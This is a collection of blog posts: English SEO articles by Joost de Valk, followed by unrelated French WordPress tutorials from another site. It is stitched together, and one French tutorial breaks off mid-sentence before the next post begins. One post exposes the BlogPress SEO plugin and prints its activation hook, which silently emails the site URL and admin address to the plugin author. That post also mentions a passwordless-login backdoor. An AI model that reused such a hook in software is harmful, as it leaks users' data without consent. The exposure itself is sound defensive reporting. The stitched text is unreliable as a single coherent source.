Sponsored review: SEO Rank Analysis with Authority Labs

by Joost de Valk on 4 October, 2010 at 16:35 

 

As you all know, the first link on a Google search page has, on average, a 40% click through rate.  Another 50%+ of the clicks go to the subsequent links on the page, with remaining clicks being scattered over subsequent pages. Most people will, in fact, search for another term rather than clicking through to Page 2 of a Google Search.
Your rankings matter... That’s why I said yes to being sponsored to review yet another rank monitoring service, because I think this one adds some cool new features that I hadn't seen before.
AuthorityLabs is a service that will monitor page position for specific keywords over time, just like a couple of other rank tracking services we’ve reviewed in the past. If you are optimizing your website to move yourself onto the first page, this sort of tool might prove critical. It makes it possible for you to see, on a daily basis, where your site ranks relative to hundreds of keywords over many domains.

Using the Rank Tracking Service

To create a monitoring campaign takes just a few seconds.

• Enter a Domain Name in the search box.
• Click Add New Domain or Page
• Add Keywords for AuthorityLabs to monitor.
• Come back in 24 hours and see some of the results.  More data will be collected, analyzed and visualized over the course of a week.
• Adjust your link building & search engine optimizing activities and return to the site to see how your work has changed your ranking.

The Rankings Page shows you how your page fares on Google, Yahoo and Bing, and tells you if it has gone up or down in a given time frame. It will make keyword suggestions based on your site content and you can export the collected data via CSV.
What’s very cool and sets this ranking tracker apart from others, is that it’ll also show what kind of results it has found in the search results pages with icons for the specific types of results. So if there are movie results, news results or rich snippets, it’ll tell you that. This is very important data as it might heavily impact your CTR. If you’re result #2, but #3 is a video result, the CTR of your result will be very different (read, lower, usually) than if there are no video results at all.
This also shows you possibilities: if other people are ranking there with a video result, why not try to rank there with your own video and play a bit with Video SEO? If others are getting rich snippets, why shouldn’t you?
It also shows if you've had indents or lower page rankings, which can be very important. If you're #1, and another page on your site is ranking #11 or #12, you know how much work you have to do to get an "indent" on the first page? Not much at all! You see, if that second results comes to #10, Google will automatically group it below your #1 result.
Because it allows you to group your keywords with tags, you can see whether specific groups are doing better or worse. See the screenshot below, or, for a better view, check the live public ranking report for my WordPress related keywords. From there you should be able to click around a bit.

Keyword Rankigns

Next to rankings it shows keyword suggestions, you can use these to start tracking rankings, but of course they might be good topics to write about too:

Keyword Suggestions

The Links Pages tells you which pages are most impacting your search engine ranking:

Links to your domain

The Indexed Pages page shows how many pages on your site are indexed in the different engines, showing you how the improvements over time:

The rank tracking service comes in several levels. You can monitor as few as 100 keywords over 10 domains for $24 and up to 1000 keywords over 50 domains for $99.  They offer a 30 day free trial.
In all, I think this is a pretty good service. Having talked to the guys at AuthorityLabs a couple of times while preparing this review (I've had the service running a couple of weeks now), I can say that they're a cool bunch and they're hard at work at making a good product better.

BlogPress SEO Plugin: Spam!

by Joost de Valk on 19 October, 2010 at 17:29

Let me tell you why I consider BlogPress SEO to be spam and why I think no one should ever use it. Every other week, I'll get an email from people asking me to review their plugin. I like doing that, and sometimes I'll even mention a plugin that gets emailed to me in a post or on the WordPress Podcast. Sometimes, the plugin isn't any good, and sometimes it's outright spam.
BlogPress SEO falls in the latter category. My spam senses started tingling when I read the second sentence of the email they sent me:

We have developed a superb wordpress plugin which can actually get 100's of backlinks like crazy, all on autopilot.

Right. Backlinks, on autopilot. Such a thing does not exist. Let's see how this one works, taken from their own explanation:

As soon as you install the plugin, the plugin will find all relevant blogs in the network which are similar to your niche. So if you write about dogs then the plugin will find all blogs which talk about dogs. Once the plugin find the relevant blogs, it will mutually exchange links between the blogs. So if you have 300 posts in your blog then it will find 300 similar posts in the network, and in turn mutually links with those posts. So you will get around 300 backlinks right away. The more you write the more backlinks will be found by the plugin for your posts. This is a ongoing process and I can assure you that you will see gradual increase in traffic over time.

So... It'll automatically add links from your posts to other people's blogs, and links form other people's posts on the same topic to your posts. There's a word for that, it's called a link scheme. And let me tell you: Google doesn't like those. I took the liberty of emailing Matt Cutts, the  head of Google's Webspam Team. He said that he "considers it a link scheme of the sort that Google doesn't want to count".
You know what the funny thing is? The bad stuff doesn't end here. In the email they sent me, they also alluded to a paid version of their plugin, to be released soon:

The paid version of the plugin will not exchange links, but just allow other blogs to place links and will not place any outgoing links on users blog.

You know what we call that? We call that buying links. Now whether or not you're morally opposed to that doesn't matter, Google is. Some of you might remember that, back in the day, Text Link Ads launched a service called InLinks, which did something similar to this. Matt responded to that then, on TechCrunch. He's very clear on the topic. And that was before there were FTC guidelines saying that you should disclose stuff like that. These guidelines are there now.
So let's say you don't care about rules and burning a website or two and you do stuff like this, you than have two rules to go by: you don't talk about it and you make sure you don't get caught. Which means you also don't go around asking for people like me to review it, like the author of BlogPress SEO did with me.
Luckily, it's quite easy to detect whether a blog runs this plugin, so Google will probably eliminate those quite easily. The risk you run? Well, I've seen sites get banned for participating in programs like these in the past. Like, banned from Google entirely, getting no traffic from Google anymore, nothing, zero, nada, zilch. Is it worth that? Thought not.
And wait, there's more. If you download the plugin and dig around in the code a bit, you'll notice this code:

function email_send_fun()
{
    $headers="From:".get_option('admin_email')."n";
    $headers.="Reply-to:".get_option('admin_email')."n";
    $sub="BlogPressSeo new installation.";
    $mes=get_option('siteurl');
    $to="info@blogpressseo.com";
    mail($to,$sub,$mes,$headers);
    if($hwe_blogidd)
    {
        wplink_activate();
    }
}
register_activation_hook(__FILE__,"email_send_fun");

What that does? Oh it only sends your blog's URL and your email address to the author of BlogPress SEO. Wait, without your consent? Yes, without your consent. That's illegal in many countries, but hey, why would they care. Next to that, the plugin is kind of enough to add a link back to itself on your blog's homepage, in a hidden div of course, because that's how smart people roll, right? Luckily, that makes it even easier for Google to find all the sites running the plugin and ban them all in one big sweep.
So, besides the fact that they get you involved in a link scheme, for which penalties can be quite severe; even getting your site banned in some cases, they also add hidden links to your site and send off your personal info without your authorization. Nice, isn't it? So my advice to you is simple, and you'll have understood it by now:

Do NOT use BlogPress SEO. Ever.

Update: It get's worse. As pointed out by this post, BlogPress SEO is pure malware, as it contains a function that allows someone who knows your admin email address (you know, the one they just sent to themselves when you installed the plugin) to log in without a password... That's purely criminal.

Dirty little secret of Blog SEO

by Joost de Valk on 16 December, 2010 at 11:35 

 

It's the time for sharing, so I thought I'd share a dirty little Blog SEO secret with you. The secret is that the technical part of Blog SEO is actually easy and doesn't necessarily drive a high return. Some people might tell you it's hard, but it's really not. If the CMS you're using is optimized properly, technical changes can win you a couple of percentages in traffic sometimes, but hardly ever the huge boost in ranking you're looking for. To do that, you'll need two things: great content and good links. And funnily enough, often the latter comes with the former.
Let's say you run WordPress. You generate "friendly" titles for your posts, meaning titles of the format "Post Title - Blog Name" or even just "Post Title". You're also using a nice permalink setting with the post title in the permalink too and your theme doesn't prevent a search engine from spidering your site, maybe even uses some semantic markup. You could, for instance, be using Genesis and one of its child themes, which does all of this beautifully. Of course, my WordPress SEO plugin can help tweak your site some more, and running it in a proper configuration, I'm certain, will get you some benefit, but the biggest benefit it can give you is not technical, it's making you aware of how Google works, in a very simple way.
You see, in building my WordPress SEO plugin, I started with one person in mind: the user, the writer. Not the blog admin, although admittedly they're often the same person, but the writer. Why? Because the writer has to do the SEO, not the admin. The single most important thing you can do on a page to improve its ranking when you're on WordPress and have it properly set up, is write better copy, better article headings, and a better (SEO) title.

Blog SEO requirement: instant feedback

The reason people forget about this is because they do not get instant feedback on what their post will look like as a search result in Google, and don't remember to care. That's why I introduced the snippet preview. The snippet preview is only really what a lot of good SEO's and SEO copy writers do in their head when they're crafting a page. It looks like this:

I'm not the first person in the world to create a snippet preview like that. I am the first person in the world (as far as I know) to integrate it into the write panel of a content management system, and give you instant feedback while writing your post. I don't want it to do things automatically, the only thing I really want it to do automatically is to remind you of possible actions to take.
This kind of thinking causes issues as well: there's a lot of SEO plugins out there to remove so called "stop words" from your post slug and it is an often requested feature for my plugin. If you write a post with the title "Dirty little secret of blog SEO", that would normally create a post "slug" (the term for the post name part of a URL) like this: dirty-little-secret-of-blog-seo. With a plugin that removes stop words from your slug, when you save the post for the first time, that would be changed to dirty-secret-blog-seo or dirty-little-secret-blog-seo.
Keeping in mind that the post slug should contain the focus keyword of the post, because that get's bolded in the search results, but it's also a readable part of your search result, let's ask ourselves some questions:

• Is that the best slug the post can have? No.
• Does removing the stop word give the best readable post slug? No.
• Would it be possible to generate the best slug for that post automatically? No.
• So is removing stop words automatically the right solution? No, absolutely not.

So what I decided to do, and I'm developing this right now, it's actually not even done yet as I type this, is add a notice, within the WordPress SEO box, that tells you you have stop words in your slug. It's then up to the writer to change the slug to something better, or not to change it at all.

Photo's from Shutterstock

This might actually be the most dirty secret of blog SEO: it's work. Hard work in a lot of cases. But not hard work from my side, but from you. I hope that my WordPress SEO plugin will make it easier for you if you're on WordPress, and that future iterations will help you even more, but you'll have to do the work.
The missing piece in your SEO approach is not another plugin, it's you, doing real optimization on your content, while thinking about what people search for. And yes, that's hard work, and no, there's no magic involved. Sorry.

But you sell Blog SEO Analyses, right?

Yes, I do sell site analyses, and they're called site analyses and not just "SEO Site Analysis" or "Blog SEO Analysis" for a reason: I look at far more. You see, very often people who buy a site analysis from me say they need to rank for keyword X, often a highly competitive keyword or keyphrase. They want to rank there because they're not seeing the return from the rankings they already have that they were hoping for. They think the solution is to strive for keywords with more searches. In most cases, this is the wrong approach. The reason? They're already getting visitors, but those visitors are bouncing away at first sight, or at least not taking the action they wanted them to take.
Getting that ranking is only step 1. Then getting that visitor to do what you want is step 2 (and 3, 4, 5 & 6), and actually good content for at least ten more articles. So you should subscribe, through RSS, or the newsletter, right now! ( And yes, that is the action I want you to take, so do it, now! )

SEO Royale: conference + party in Amsterdam

by Joost de Valk on 26 January, 2011 at 11:35

 

There's nothing like a small conference and party with a bunch of SEO rockstars, with so few people around that you'll get the chance to really go in-depth on your topic. I've learned this myself while attending the fabulous SEOktoberfest, by far the most valuable conference I go to each year. It's small and has only a few spots, exactly the kind of intimacy that gets the top dog SEO's and online marketers to give out their latest and best tricks.
When Roy, Richard & his wife Sharon and myself decided it was time to do something together, and get a good SEO conference going in Holland, we looked at that model and decided that we'd be sincere in our flattery and copy them. We've got a few assets of our own: the conference will be held in Amsterdam, one of the best party cities in the world, during Koninginnedag, the best party in that city, held in honor of our queen.
We've also attracted some top dog speakers. So far, we've got a few names:

• Frank Watson, aka Aussiewebmaster, forum editor at SearchEngineWatch and one of the original PPC experts.
• Marcus Tandler, aka Mediadonis, German super affiliate and all round online marketing hero.
• Bob Rains, what to say about Bob... He worked in high-profile leadership roles for Everest Poker, Betfair, Karmaloop.com, PUMA, and many other top-tier organizations, and is a global super affiliate.
• Dennis Goedegebuure, the Director of SEO at eBay.
• Me and my buddy Roy will speak as well, but we'll be joined by a couple more industry luminaries, names to follow soon :)

Want more info or can't wait to sign up? Go to the site, seoroyale.com.

HTML Sitemap for WordPress

 by Joost de Valk on 8 February, 2011 at 13:10

HTML sitemaps (as opposed to XML sitemaps) are often mentioned as being useful for SEO. They certainly are if you use them wisely (and especially Bing seems to like them at times), but I like them even more for the fact that users like them a lot.
There's plenty of plugins out there that will help you make an HTML sitemap. It's not a feature in my WordPress SEO plugin just yet, but it might become one. The issue is though, that in most cases, you'll want to do specific things with your sitemaps, include or exclude certain pages / post types, show certain taxonomies, etc. That's why I tend to advice people to create a Sitemap Page template in their theme and use that.
In fact, I advise you to use a theme partial, so you can reuse your HTML sitemap template on your WordPress 404 error pages too. To do that, follow these steps: first of all, create a partials folder within your theme folder. In that partials folder, create a file called sitemap.php.
Paste the following code into that file and adapt as needed for your site:

<h2 id="authors">Authors</h2>
<ul>
<?php 
wp_list_authors( 
  array(
    'exclude_admin' => false,
  )
); 
?>
</ul>
 
<h2 id="pages">Pages</h2>
<ul>
<?php
// Add pages you'd like to exclude in the exclude here
wp_list_pages( 
  array(
    'exclude' => '',
    'title_li' => '',
  )
);
?>
</ul>
 
<h2 id="posts">Posts</h2>
<ul>
<?php
// Add categories you'd like to exclude in the exclude here
$cats = get_categories('exclude=');
foreach ($cats as $cat) {
  echo "<li><h3>".$cat->cat_name."</h3>";
  echo "<ul>";
  query_posts('posts_per_page=-1&cat='.$cat->cat_ID);
  while(have_posts()) {
    the_post();
    $category = get_the_category();
    // Only display a post link once, even if it's in multiple categories
    if ($category[0]->cat_ID == $cat->cat_ID) {
      echo '<li><a href="'.get_permalink().'">'.get_the_title().'</a></li>';
    }
  }
  echo "</ul>";
  echo "</li>";
}
?>
</ul>

Now, wherever you need that HTML sitemap "bit" in your WordPress theme, use this:

<?php get_template_part('/partials/sitemap'); ?>

HTML Sitemap WordPress Page Template

You could do this, for instance, for a sitemap page template. To create a sitemap page template using this code, duplicate your page.php file and rename it to page-sitemap.php. Now open it, and below the call to the_content(); that's in there, add the get_template_part() bit mentioned above. Now go to the first line of the file, and after the opening <?php (but before get_header()), add this comment:

/*
Template Name: Sitemap Page
*/

That'll make WordPress recognize it as an HTML Sitemap template. This will allow you to write some introductory text for your HTML sitemap, after which the full sitemap shows.

Intelligent Site Structure for better SEO

by Joost de Valk on 9 February, 2011 at 16:00
Search engines are still one of the most important traffic drivers to sites these days, which is why Search Engine Optimization (SEO) is incredibly important. While SEO is often thought to be just a set of some technical tricks - and as a professional SEO, I confess to spending a lot of time with clients fixing technical issues - a site's structure, is just as important. Your site's structure determines whether a search engine understands what the topic of your site is and how easily it will find and index content relevant to your site's purpose and intent.
By creating a good structure, you can use the content you've written that has attracted links from others, and use your site's structure to spread some of that "linkjuice" to the other pages on your site. On a commercial site, that means that you can use the quality content you've written to boost the search engine rankings of your sales pages too. Did I get your attention now? Ok, now we've covered what and why, let's get on to how.

Developing a good site structure

When developing a new site, or restructuring an existing one, it helps to draw out your site's structure in something like Visio, or even putting it in Excel. What you'll want to do is put all the pages and sections in there as a tree, something like that shown in Figure 1 (based on my own old site structure):

Figure 1: A typical site structure

Now as you can see this structure is unbalanced, as the Code section constitutes more than half of the entire site. You should make sure your site structure looks like a reasonably balanced pyramid. I'd advise you to have something between 2 and 7 main sections, depending on how content heavy your site is, and no section should be more than twice as large as any other section.
As well as the code section being way too big, there's another couple of points to consider about Figure 1. First, there are three pages that are basically about me: "About Me", "Projects" and "Websites". In addition, upon checking out my site statistics I found that the WordPress pages were responsible for about 30% of my site traffic, yet they were down on the third and fourth level.
The benefit of using a tool like Visio or OmniGraffle, as I did, is that it's quite easy to rearrange stuff, and it's easy to get a good "feel" for whether the new structure is going to work. I've often used a desk or a wall and a lot of post-it notes for this purpose too, and that has also worked fine for me.
So I started to rearrange the sections and came up with the section structure seen in Figure 2.

Figure 2: A more refined section structure.

As you can see I decided to move some pages "up" the tree, and I removed some pages. When you're rethinking your site structure you'll often find that some pages are not really beneficial to your users. Deleting them is the best thing you can do if that's the case.
Another choice I made was to move the blog to the homepage. My homepage was utter nonsense, and basically yet another "About Me" page. And though I like myself, that's not what I was hoping people came to my site for. My blog is the basis of my site, so I decided to make it the cornerstone of this structure too.

Naming your sections

Once you're satisfied with your site structure, have a look at the names you've come up with for your sections. If you have enough content about a subject for it to be able to have its own section, you can bet people are searching for it as well. That's why it's very wise to make sure your section names use the keywords people are searching for!
For example, if you're like me and you've written WordPress plugins and created a section for them, you should not call that section "WordPress". What would you search for? "WordPress plugins", right? So name it that (which doesn't mean you can't call it WordPress in your menu structure if that works better, just make sure the page title and breadcrumb links are "WordPress plugins"). You can do quite a bit of research on which keywords people search for. Some freely available tools are:

• Google Trends
• The Google AdWords Keyword tool
• Microsoft's Keyword Group Detection

Pick the right names for your sections and subsections, and you're halfway there. Now use the same techniques to pick the titles for your pages, and make sure to keep them short and clean. My sections now have names as shown in Figure 3.

Figure 3: Site Structure with Sensible section names.

Now we've covered the two most important parts of defining your site structure, we'll turn our attention to some other important points to consider.

Other Things to keep in mind

There are another couple of things to keep in mind when working out the structure of your site.
Forums, and other user-controlled content: If one part of your site is producing way more content then another part, and the quality of that highly productive part is poorer, you may not wish to mix the two. For instance, let's say your front page is like A List Apart, updating every few weeks with very high quality articles gathering loads of links. Another section of your site is your forums section, which produces loads of new threads every day, of questionable quality.
Your forum is probably going to deteriorate the rankings for your front page, because you're constantly "flowing" ranking strength from your high quality front page into your forums. So the best thing you can do with them is move them to a subdomain of your site.
This is less of a problem when you have a blog on your site, which you control. The quality of that will be less questionable, and you may want those blogposts to rank well.
Redundant categories and tags: Sooner or later you're going to fall into this trap - I know I have - of having multiple categories on your site/blog, and constantly assigning the same two categories to certain posts. Let's say you have the "browsers" and "Opera" categories, and Opera is the only browser you write about. Now when you look at the category overview page for the "browsers" category, you will be seeing the exact same content as when you look at the "Opera" category page - the two tags are basically redundant.
When you're using tags, this happens even more. You're probably wondering "what's wrong with that?" Well, let's say a few people wanted to link to all those posts, because they liked them so much. You've just lost control over which category they will link to - the first one might pick the "browsers" category, and the second person might pick the "Opera" category. If this happens multiple times, you're "throwing away" good links.
Let's say you have 2 links to your "browsers" category page, and 2 links to your "Opera" category page. A less popular competitor has 3 links to his single "browser category" page, because he doesn't have a redundant "Opera" category. In a real simple world where every link is equal, your competitor would now rank above you.
It's very important to make sure you're not showing the same content on multiple pages, because that's not helping your rankings.

Internal link structure

If you did it all right with your new site structure, it should look like a pyramid. Now you should consider how you're going to connect the sections of this pyramid together. Look at those sections as small pyramids inside your larger pyramid. Each page in the top of that pyramid should link to all its sub pages, and the other way around.
Because you're linking from pages that are closely related to each other content-wise, you're increasing your site's possibility to rank. You're "helping" the search engine out by showing it what's related and what isn't.
Take figure 4 as an example.

Figure 4: You also need to consider how the pages link to each other within each section.

You should make sure you keep your links between each page relevant to those pages. For example, if you linked from subpage 3 to plugin 2 all the time, the search engine might think that subpage 3 was related to plugin 2, whereas it's only related to plugin 4.

From your new site structure to URLs

Once you've created your new site structure, you can go forth and create the URLs for this structure. Each page's URL should describe the content of that page, yet be as short as possible. If you have determined what keywords you want to rank for, you might include the most important ones in your URLs.
Things to keep in mind while implementing your new URLs

• If you're using multiple words, separate them with hyphens.
• Mixed case URLs are an absolute no-no, as Unix and Linux servers are case sensitive. Having mixed case URLs drastically increases the
  possibility of typos - have you ever tried remember a URL that /LoOks/LiKe/ThiS/ ?
• Numbers might be easy for your CMS, but not for your users. Remembering a URL with a number in it is hard, so the chance people will remember
  it and link to it is smaller - don't use numbers in URLs.
• Make URLs guessable if you can. If people can remember your URLs they can also talk about it with their friends more easily.
• Make sure you redirect all your old pages to their new equivalents using 301 redirects. A 301 redirect is a permanent redirect, and this way
  search engines will move all the link value from the old URL to the new one.
• Make sure content is available under one URL and one URL only, for example by implementing print stylesheets on your pages. There's no valid reason anymore to have a different page for printing purposes because all major browsers support print stylesheets.

For more info on URLs and the problems they can cause, see my article on duplicate content.

Conclusion: work on your site structure

A good site structure is a requirement for Search Engine Optimization. It allows both your users and search engines to find content within your site more easily. A good structure is well categorized, and pages within it only link to other pages on the same topic.
Using the right URLs for the pages within that site structure increases the chance that people will remember and link to your URL, and heavily increases your ability to rank in the search engines as well.
Note: I originally wrote this article in October 2007 for dev.opera.com. When I came to the conclusion I needed an article on the topic, I found this old one. Nothing has changed since it's appearance, so other than adding a a few reference links here and there, I've not changed a thing.

Link Building 101

by Joost de Valk on 2 March, 2011 at 17:35

Most people understand by now that links have a very real influence on rankings in search engines. How it works and in which ways a link can influence your ranking is often unclear though, resulting in many myths. This link building 101 tries to explain the basics of link building and to refute some of the myths around it.

How does a link help your site?

A link to your site "helps" in four ways:

• It adds value to the "receiving page", allowing it to improve its visibility in the search engines.
• It adds value to the entire receiving domain, allowing each page on that domain to improve its rank ever so slightly.
• The text of the link is an indication to the search engine of the topic of the website and more specifically the receiving page.
• People click on links, resulting in so called "direct traffic".

The value of a link for the receiving page is determined in part by the topic of the page the link is on. A link from a page that has the same topic as the receiving page is of far more value than a link from a page about an entirely different topic.
On top of that, a link from within an article is worth way more than a link from a sidebar or a footer. Furthermore the more links there are on a page, the less each individual link is worth.

So what makes a good link?

Imagine, you're working on a link building campaign and you get to choose where to place a link and what page to point it at. You'll have to consider the following questions:

• How strong is the site / page that's going to link out?
• Which receiving pages on my site make most sense as far as topic is concerned?
• Which page of this set of sensible pages would deliver the best ROI when it's ranking?
• Which page is most sensible for the visitor of the linking page, clicking on the link?

The last question is often the one best to ask of yourself: link building delivers, if done well, better rankings and more direct traffic. You have to keep in mind though that in most cases those visitors coming to you directly from the other site will behave differently from people coming from the search engines. Say you get a link from a site aimed at elderly women, these people will behave drastically different from the diverse public you'll get from the search engine when the page starts ranking. In your design of the page, you'll have to account for both.
How strong a site and/or a page is, can be judged on several criteria, PageRank being one of them, though often not very accurate. MozRank is useful at times, but the most useful and sensible check often is the following: does the page that you want a link from, rank in the top 20, 30 or even 50 for terms related to the page you'd want it to link to? If the answer to that is yes, a link on that page is usually a good idea.

The anchor text

If you've decided which page you're going to be linking to, the second question arises: which anchor text will you be using? The anchor text in itself influences two things:

• The anchor text indicates to the search engine what the topic might be of the page the link points at and it can therefor help that receiving page rank for that term. If you want to rank for "WordPress SEO", you'd want to have links to that page with anchor texts like "WordPress SEO", "SEO for WordPress", etc.
• The anchor text also has an effect on how many people will be clicking on the link. While from the above bullet you might have gathered that "click here" is a horrible anchor text, as you probably don't want to rank for it, it does tend to get clicked well and therefor gets you more visitors.

Of course, don't overdo this. If all links, or a too large percentage of links to your site and / or page have the same anchor text, you'll look like a spammer. So if you're actively link building, vary your anchor text.
As you see, these are not trivial decisions, ones you have to make on a site by site and page by page basis. You don't always have the luxury of controlling anchor text and to be honest, that's a good thing; way too much sites out there would have a far over optimized "link profile" if they had such a level of control. Because you have to make these decisions on a site by sate basis, buying a "backlink package", something still far too common these days, is often a wrong decision.

Are there any rules about links?

There are two kinds of rules that influence SEO and thus link building. First of all, there are the rules of the search engines, with Google having said most about links. Then there's the law about advertising, these laws differ per country but especially within the EU they tend to have the same "ring".

What Google says about links and link building

In their article on link schemes Google gives some examples of links that can influence your ranking negatively. This deals with both links to and from your site (f.i.: don't link to spam sites). They're most clear about paid links though: they're a violation of their guidelines and can lead to a ban of your website.
This isn't to say that such links would have an immediate negative effect. In fact, in the short term they might even boost your rankings, as quite often Google has to take manual action to discount those links, as not in all cases Google see whether a link has been paid for or not. But, especially keeping in mind the recent debacles with JC Penney and Overstock.com, both of whom have been penalized by Google and publicly scolded for their behavior by the press, this tactic is seldom worth while.
Google recently published an article on quality links on the Google Webmaster Blog, it's worth reading to get their perspective.

The law about links

I've talked about the Dutch specifics in an article on Marketingfacts recently, which in trun goes back to an article on eConsultancy: if something is an ad, it has to be visibly (for the visitor) marked as such. A paid link could under these new rules be called an ad and would therefor have to be disclosed. I don't see a court case just yet, but it's a good thing to keep in mind.

Want to read more about link building?

Outside of this link building 101 a lot is being written about the topic and a large part of it is, excusez le mot, crap. Because of that I'd like to point you at some sources that I do consider worth while:

• Wiep.net
  The blog of my fellow countryman Wiep Knol, an amicable guy and great link builder.
• Eric Ward aka LinkMoses
  When I went to my first class in high school in '94, this guy was already doing link building. His insights are therefor based on a treasure trove of experience.
• LinkSpiel by Debra Mastaler
  She has more of a wider marketing approach to link building and is therefor very usable for each and everyone.

Activer les fonctionnalités multi-sites de WordPress 3.0

La version 3.0 de WordPress annonce la fusion entre WordPress MU (multi-utilisateur) et la version standard utilisée par la plupart des blogueurs. Or, si vous avez d’ores et déjà installé la beta 1 de WordPress, vous remarquerez l’absence d’un tel module de gestion multi-blogs. Comment faire pour activer ces fonctionnalités réseaux propres à WordPress 3.0 ?

N.B : ce tutoriel a été mis à jour avec un podcast vidéo HD expliquant pas à pas la procédure pour créer un réseau de sites avec WordPress.

Initialisation de la procédure réseau de WordPress

Officiellement, la manipulation est fort simple. Il suffit d’ajouter la ligne suivante à votre fichier wp-config.php :

define ('WP_ALLOW_MULTISITE', true  ) ;

En réalité, la manipulation est loin de s’arrêter là et l »emplacement du bout de code dans le fichier à son importance.
Ajoutez donc la ligne de code ci-dessous puis rendez-vous dans l’administration de WordPress.

A l'aide du Bloc-notes, ajoutez la ligne de code manquante

Sous le menu Tools, cliquez

SEO Smart Links, un plugin WordPress pour votre référencement interne

SEO Smart Links est un plugin WordPress disponible en versions gratuite et payante, développé par Vladimir Prelovac, un spécialiste du référencement (SEO) également connue pour ses extensions Firefox.

Principales fonctionnalités

4 versions existent pour SEO Smart Links. La première est gratuite et dispose des options suivantes :

• Génération automatique de liens internes à partir de votre contenu vers d’autres articles / catégories / tags ;
• Choix des mots-clés à lier ;
• Prise en charge des flux RSS ;
• Ajout de l’attribut nofollow pour empêcher Google de vous bannir ;
• Ouverture des liens dans un nouvel onglet ou une nouvelle fenêtre ;

3 versions payantes sont également proposées :

1. SEO Smart Links Personal à 79 $ ;
2. SEO Smart Links Professional à 149 $ ;
3. SEO Smart Links Business à 299 $ ;

La version complète propose en plus des outils de cache pour de meilleures performances et des statistiques détaillées. Autre gros avantage : un usage illimité sur des sites personnels ou professionnels (clients).
Notez qu’il est possible d’opérer des réglages au cas par cas et de limiter le nombre de liens dans une page.

Vidéo de présentation

Bien que la vidéo soit en anglais, des bulles d’aides vous permettront de comprendre très facilement le potentiel de ce plugin – difficilement explicable avec des mots.

Obtenir SEO Smart Links

Vladimir offre 10% de réduction aux lecteurs de WordPress Channel en utilisant le coupon de réduction : wpchan10.
La version gratuite est téléchargeable à partir du lien suivant :

  SEO Smart Links (51,8 KiB, 90 hits)

SEO Smart Links conviendra aux sites proposant beaucoup de contenu et donc susceptibles de créer de nombreux liens internes. Ce plugin permet donc un gain de temps incroyable puisqu’il automatise le processus d’internal linking et gère même des liens d’affiliation.

Bloquer l’accès aux répertoires de votre installation de WordPress

Par défaut, WordPress stocke vos données multimédias dans un dossier /wp-content/uploads/ qui est accessible en saisissant l’URL dans un navigateur Internet. N’importe quelle personne mal avisée peut donc afficher le contenu de ces répertoires susceptibles de contenir des données personnelles. Réglons ce problème de sécurité sans plus tarder en intervenant dans le .htaccess !

N.B : notez que cette astuce fonctionne pour n’importe quel serveur Apache et que le choix du CMS – WordPress en l’occurrence, n’a aucun rapport.
Cette astuce va nous permettre d’interdire le listage d’un répertoire et donc de son contenu présent sur votre serveur FTP.
Notons toutefois que certains dossiers sensibles comme /wp-content/themes et /wp-content/plugins ne sont pas accessible via l’URL car ils contiennent un fichier index.html. Un fichier par défaut que lit en premier le navigateur.
Le principal inconvénient de cette méthode est qu’il nous faut ajouter un tel fichier dans chaque nouveau dossier : une opération fastidieuse que nous allons contourner en ajoutant une ligne de code dans le fichier .htaccess.
A l’aide d’un client FTP comme FileZilla, Cyberduck ou Transmit, connectez-vous à la racine de votre installation de WordPress.
Éditez ensuite le fichier .htaccess qui est un fichier caché. Utilisez donc les fonctions de votre client FTP pour afficher le contenu masqué.
En fin de fichier, rajoutez la ligne de code suivante :

Options All -Indexes

Sauvegardez le tout puis testez le bon fonctionnement de l’opération dans un navigateur.
Vos répertoires ne sont désormais plus accessibles en lecture et leur contenu est donc protégé de tout téléchargement. Le visiteur obtient donc une erreur 404 lui informant qu’aucune page de ce type n’existe. Votre sécurité s’en trouve renforcée !

Simple Punctual Translation, un plugin de traduction pour WordPress

Simple Punctual Translation est un plugin WordPress permettant de traduire n’importe quel type de contenu (articles, pages y compris les custom post types), dans n’importe quelle langue, de façon automatique ou manuelle. Tout est dit ou presque dans cette phrase descriptive : si vous recherchez un plugin pour gérer un site multilingue sans avoir recours à une usine à gaz, ce module est fait pour vous.

Principales fonctionnalités

• Une architecture basée sur les custom post types introduit sous WordPress 3.0 qui offre l’avantage de créer facilement des taxonomies personnalisées ;
• Le choix entre 2 types d’URLs : soit avec un paramètre ?lang, soit avec un préfixe de langue ;
• 2 modes de traduction : automatique ou manuelle ;

Un point sur cette dernière fonctionnalité : il ne s’agit pas d’une option permettant d’utiliser Google Translate (ou tout autre service de traduction automatique en ligne pour vos contenus). Les auteurs font ici référence à la gestion de la traduction par rapport au thème WordPress.
En résumé – l’auteur me corrigera si je me trompe ,  le mode automatique permet d’afficher sur votre site 3 champs disponibles à la traduction, à savoir : le titre, l’extrait et le contenu. Les autres éléments classiques comme la date et les commentaires resteront dans la langue source.
Si par cas, vous êtes sur un projet pointilleux où il est nécessaire de choisir avec précision les éléments à afficher ou non sur la page traduite, il faut basculer en mode manuel qui offre alors des commandes PHP dédiées.

Captures d’écran

Ce module répertorie les traductions disponibles depuis l'éditeur de contenu de WordPress

Configuration du plugin Simple Punctual Translation

Obtenir Simple Punctual Translation

Vous pouvez téléchargement gratuitement ce plugin via le module Extensions puis Ajouter de votre administration WordPress ou à partir du lien suivant :

  Simple Punctual Translation (787,1 KiB, 44 hits)

Pour conclure, bien que ce plugin en soit qu’à sa première version, il me semble d’ores et déjà voué à un bel avenir.
Robuste, efficace il n’en demeure pas moins que quelques bugs ou fonctions manquent à l’appel dont une meilleure gestion du listing des pages traduites et non traduites. Bref, voici mes remarques, à vous, chers lecteurs d’émettre les vôtres et d’encourager les développeurs de ce nouveau plugin de traduction pour WordPress !

Désactiver la barre d’administration sous WordPress 3.1 pour tous les utilisateurs

Rendez-vous dans le menu Apparence puis Editeur. Dans la liste de droite, cliquez sur le fichier functions.php.
Je vous conseille toutefois d’intervenir en passant par un client FTP pour effectuer facilement une copie du fichier. Vous pourriez obtenir une page blanche après la sauvegarde suite à une erreur de placement du bout de code suivant :

function my_function_admin_bar(){
    return false;
}
add_filter( 'show_admin_bar' , 'my_function_admin_bar');

Il suffit donc d’ajouter ces lignes en fin de fichier – typiquement après une fonction PHP.
Sinon, n’oubliez pas de l’encadrer des balises <?php et ?>.
N’oubliez pas de faire Mettre à jour le fichier.
Retournez sur votre site et vérifiez que la barre d’administration a bel et bien disparue. Testez également sous un autre compte utilisateur pour constater le changement effectif.
Cette barre d’administration introduite depuis la 3.1 de WordPress peut se révéler pourtant très utile à l’utilisateur débutant mais inutile dans certains cas d’utilisation précis de la plateforme.